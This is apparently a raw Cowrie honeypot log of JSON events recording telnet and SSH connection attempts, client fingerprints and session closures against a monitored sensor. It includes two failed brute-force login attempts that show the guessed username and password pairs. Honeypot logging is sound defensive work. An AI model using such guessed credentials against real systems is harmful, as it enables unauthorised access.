{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58224,"dst_ip":"10.17.0.5","dst_port":23,"session":"f681818b037e","protocol":"telnet","message":"New connection: 159.203.13.64:58224 (10.17.0.5:23) [session: f681818b037e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:11.984807Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41920,"dst_ip":"159.203.135.109","dst_port":23,"session":"311971970838","protocol":"telnet","message":"New connection: 80.252.221.197:41920 (159.203.135.109:23) [session: 311971970838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:12.469837Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad0199b3b25","protocol":"telnet","message":"New connection: 159.203.13.64:58236 (10.17.0.5:23) [session: 8ad0199b3b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.337201Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a3407969710","protocol":"telnet","message":"New connection: 159.203.13.64:58248 (10.17.0.5:23) [session: 1a3407969710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.680369Z"}
{"eventid":"cowrie.session.closed","duration":38.35420036315918,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.745669Z","src_ip":"159.203.13.64","session":"59b8d659f526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":36888,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90200833f97","protocol":"ssh","message":"New connection: 186.13.24.118:36888 (159.203.135.109:22) [session: f90200833f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.814489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.819824Z","src_ip":"186.13.24.118","session":"f90200833f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:14.983971Z","src_ip":"186.13.24.118","session":"f90200833f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99765467643738,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:15.100127Z","src_ip":"159.203.13.64","session":"343069f3ebce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234567","message":"login attempt [hadoop/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:15.665041Z","src_ip":"186.13.24.118","session":"f90200833f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:16.829314Z","src_ip":"186.13.24.118","session":"f90200833f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58260,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a73d9fd5f7d","protocol":"telnet","message":"New connection: 159.203.13.64:58260 (10.17.0.5:23) [session: 0a73d9fd5f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:17.411759Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58262,"dst_ip":"10.17.0.5","dst_port":23,"session":"abaef8dae48d","protocol":"telnet","message":"New connection: 159.203.13.64:58262 (10.17.0.5:23) [session: abaef8dae48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:17.845169Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58274,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb8a8d5b2e4","protocol":"telnet","message":"New connection: 159.203.13.64:58274 (10.17.0.5:23) [session: 0eb8a8d5b2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:18.298518Z"}
{"eventid":"cowrie.session.closed","duration":44.35903310775757,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:20.600540Z","src_ip":"159.203.13.64","session":"c681e5fcbe49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.93981671333313,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:20.915148Z","src_ip":"159.203.13.64","session":"cbf50773d097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.045668601989746,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:21.254493Z","src_ip":"159.203.13.64","session":"484f2d7f3953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.01082515716553,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:21.575403Z","src_ip":"159.203.13.64","session":"e79f5f3fc8ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25030589103699,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:24.024328Z","src_ip":"159.203.13.64","session":"f07a5252987c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.70909094810486,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:24.107143Z","src_ip":"159.203.13.64","session":"2c0bf5a0ec89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"0621ed3d7c9f","protocol":"telnet","message":"New connection: 159.203.13.64:33194 (10.17.0.5:23) [session: 0621ed3d7c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:25.193923Z"}
{"eventid":"cowrie.session.closed","duration":34.37507653236389,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:26.401257Z","src_ip":"80.252.221.197","session":"f4a0a52174a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"080f0476ddb6","protocol":"telnet","message":"New connection: 159.203.13.64:33204 (10.17.0.5:23) [session: 080f0476ddb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:26.888272Z"}
{"eventid":"cowrie.session.closed","duration":43.45843458175659,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:28.251034Z","src_ip":"159.203.13.64","session":"459392c514f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81236696243286,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:28.970427Z","src_ip":"80.252.221.197","session":"537bfee4bef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37092,"dst_ip":"10.17.0.5","dst_port":23,"session":"961dbd3d043d","protocol":"telnet","message":"New connection: 159.203.13.64:37092 (10.17.0.5:23) [session: 961dbd3d043d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:33.965586Z"}
{"eventid":"cowrie.session.closed","duration":42.196434020996094,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:36.740007Z","src_ip":"159.203.13.64","session":"2a9b2be8bea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.921355962753296,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:38.687391Z","src_ip":"159.203.13.64","session":"3ba29a7269d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49424,"dst_ip":"159.203.135.109","dst_port":22,"session":"09399d0b09de","protocol":"ssh","message":"New connection: 159.203.92.129:49424 (159.203.135.109:22) [session: 09399d0b09de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:39.716851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:39.721333Z","src_ip":"159.203.92.129","session":"09399d0b09de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:39.726167Z","src_ip":"159.203.92.129","session":"09399d0b09de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alldata_str_ny","password":"alldata_str_ny","message":"login attempt [alldata_str_ny/alldata_str_ny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:39.736511Z","src_ip":"159.203.92.129","session":"09399d0b09de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37094,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a6a8a5b3c8","protocol":"telnet","message":"New connection: 159.203.13.64:37094 (10.17.0.5:23) [session: 52a6a8a5b3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:39.918818Z"}
{"eventid":"cowrie.session.closed","duration":44.14749002456665,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:40.235988Z","src_ip":"159.203.13.64","session":"7312faf6bc1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:40.742412Z","src_ip":"159.203.92.129","session":"09399d0b09de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.38768982887268,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:41.280623Z","src_ip":"159.203.13.64","session":"57d57de403cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60084,"dst_ip":"10.17.0.5","dst_port":23,"session":"60789e379631","protocol":"telnet","message":"New connection: 159.203.13.64:60084 (10.17.0.5:23) [session: 60789e379631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:42.532802Z"}
{"eventid":"cowrie.session.closed","duration":33.38097953796387,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:45.072033Z","src_ip":"80.252.221.197","session":"719738b2e569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.297889709472656,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:45.173979Z","src_ip":"159.203.13.64","session":"fc2c4dc8d810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.658016204833984,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:45.306449Z","src_ip":"159.203.13.64","session":"2426b500c2c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60086,"dst_ip":"10.17.0.5","dst_port":23,"session":"205371a68b62","protocol":"telnet","message":"New connection: 159.203.13.64:60086 (10.17.0.5:23) [session: 205371a68b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:46.321836Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"597798af0b6c","protocol":"telnet","message":"New connection: 159.203.13.64:60098 (10.17.0.5:23) [session: 597798af0b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:47.301979Z"}
{"eventid":"cowrie.session.closed","duration":35.503329277038574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:47.343470Z","src_ip":"80.252.221.197","session":"e74a013184ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7294557094574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:47.714188Z","src_ip":"159.203.13.64","session":"f681818b037e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"998b5c4e56e8","protocol":"telnet","message":"New connection: 159.203.13.64:60104 (10.17.0.5:23) [session: 998b5c4e56e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:47.823345Z"}
{"eventid":"cowrie.session.closed","duration":36.916048765182495,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:48.895477Z","src_ip":"80.252.221.197","session":"e97f87939d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.304762840270996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:49.774511Z","src_ip":"80.252.221.197","session":"311971970838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.26081395149231,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:49.817493Z","src_ip":"159.203.13.64","session":"63b9ee701270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7039bbb34161","protocol":"telnet","message":"New connection: 159.203.13.64:51678 (10.17.0.5:23) [session: 7039bbb34161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:52.899426Z"}
{"eventid":"cowrie.session.closed","duration":42.474459409713745,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:53.166504Z","src_ip":"159.203.13.64","session":"36c78d447212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.64119052886963,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:53.612752Z","src_ip":"159.203.13.64","session":"f5764a153654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.0994188785553,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:53.874328Z","src_ip":"159.203.13.64","session":"d831b98bf15c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.6062068939209,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:53.943271Z","src_ip":"159.203.13.64","session":"8ad0199b3b25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.57970118522644,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:54.991356Z","src_ip":"159.203.13.64","session":"0a73d9fd5f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.69433045387268,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:55.374574Z","src_ip":"159.203.13.64","session":"1a3407969710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51680,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f65298b69e8","protocol":"telnet","message":"New connection: 159.203.13.64:51680 (10.17.0.5:23) [session: 7f65298b69e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:56.415946Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51696,"dst_ip":"10.17.0.5","dst_port":23,"session":"88383d3e182c","protocol":"telnet","message":"New connection: 159.203.13.64:51696 (10.17.0.5:23) [session: 88383d3e182c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:58.957049Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ab12da2180","protocol":"telnet","message":"New connection: 159.203.13.64:51700 (10.17.0.5:23) [session: d4ab12da2180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:59.434184Z"}
{"eventid":"cowrie.session.closed","duration":41.14046597480774,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:59.438838Z","src_ip":"159.203.13.64","session":"0eb8a8d5b2e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.052961349487305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:00.246789Z","src_ip":"159.203.13.64","session":"0621ed3d7c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51832,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4df8c3210e","protocol":"telnet","message":"New connection: 80.252.221.197:51832 (159.203.135.109:23) [session: aa4df8c3210e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:01.241282Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"836264def017","protocol":"telnet","message":"New connection: 159.203.13.64:48474 (10.17.0.5:23) [session: 836264def017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:01.423231Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b356806e43","protocol":"telnet","message":"New connection: 80.252.221.197:51842 (159.203.135.109:23) [session: c9b356806e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:01.843441Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6693076bccad","protocol":"telnet","message":"New connection: 80.252.221.197:51856 (159.203.135.109:23) [session: 6693076bccad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:01.910585Z"}
{"eventid":"cowrie.session.closed","duration":36.104482889175415,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:02.992627Z","src_ip":"159.203.13.64","session":"080f0476ddb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.33156895637512,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:03.176617Z","src_ip":"159.203.13.64","session":"abaef8dae48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48478,"dst_ip":"10.17.0.5","dst_port":23,"session":"40836972aef3","protocol":"telnet","message":"New connection: 159.203.13.64:48478 (10.17.0.5:23) [session: 40836972aef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:09.313034Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48486,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fcd14c4a4cb","protocol":"telnet","message":"New connection: 159.203.13.64:48486 (10.17.0.5:23) [session: 6fcd14c4a4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:09.343136Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c18b75ceea","protocol":"telnet","message":"New connection: 159.203.13.64:60954 (10.17.0.5:23) [session: 89c18b75ceea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:12.102296Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60958,"dst_ip":"10.17.0.5","dst_port":23,"session":"19b444345329","protocol":"telnet","message":"New connection: 159.203.13.64:60958 (10.17.0.5:23) [session: 19b444345329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:13.196575Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0d173cfd44","protocol":"telnet","message":"New connection: 159.203.13.64:60966 (10.17.0.5:23) [session: 5b0d173cfd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:52:14.511478Z"}
